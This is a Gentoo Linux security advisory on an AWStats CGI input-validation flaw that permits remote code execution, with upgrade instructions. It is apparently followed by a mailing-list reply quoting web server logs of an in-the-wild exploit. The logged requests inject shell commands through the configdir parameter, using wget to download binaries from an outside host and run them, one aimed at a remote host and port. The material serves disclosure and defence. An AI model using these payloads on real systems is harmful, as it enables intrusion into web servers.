Onderwerp: [ GLSA 200501-36 ] AWStats: Remote code execution

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Gentoo Linux Security Advisory GLSA 200501-36
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http://security.gentoo.org/
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Severity: High
Title: AWStats: Remote code execution
Date: January 25, 2005
Bugs: #77963
ID: 200501-36

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Synopsis
========

AWStats fails to validate certain input, which could lead to the remote
execution of arbitrary code.

Background
==========

AWStats is an advanced log file analyzer and statistics generator.

Affected packages
=================

-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-www/awstats < 6.3 >= 6.3

Description
===========

When 'awstats.pl' is run as a CGI script, it fails to validate specific
inputs which are used in a Perl open() function call.

Impact
======

A remote attacker could supply AWStats malicious input, potentially
allowing the execution of arbitrary code with the rights of the web
server.

Workaround
==========

Making sure that AWStats does not run as a CGI script will avoid the
issue, but we recommend that users upgrade to the latest version, which
fixes these bugs.

Resolution
==========

All AWStats users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=net-www/awstats-6.3"

References
==========

[ 1 ] AWStats ChangeLog
http://awstats.sourceforge.net/docs/..._changelog.txt
[ 2 ] iDEFENSE Advisory
http://www.idefense.com/application/poi/display?id=185

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

http://security.gentoo.org/glsa/glsa-200501-36.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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There's an exploit in the wild. Here's what it does:

200.96.166.252 - - [26/Jan/2005:06:32:00 +0000] "GET /cgi-bin/awstats/aws=
tats.pl?configdir=3D|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/c=
gi;ls%20-la%20cgi;chmod%20777%20cgi;./cgi;%00 HTTP/1.1" 200 538 "-" "Mozi=
lla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.96.166.252 - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/aws=
tats.pl?configdir=3D|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/d=
c;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00 HTTP/1.1" 200 554 "-" "=
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

I don't have the time to investigate the "cgi" and "dc" binaries.
The "cgi" at least tries to daemonize and opens a TCP listening socket.
They also try to replace the index page on the vulnerable site.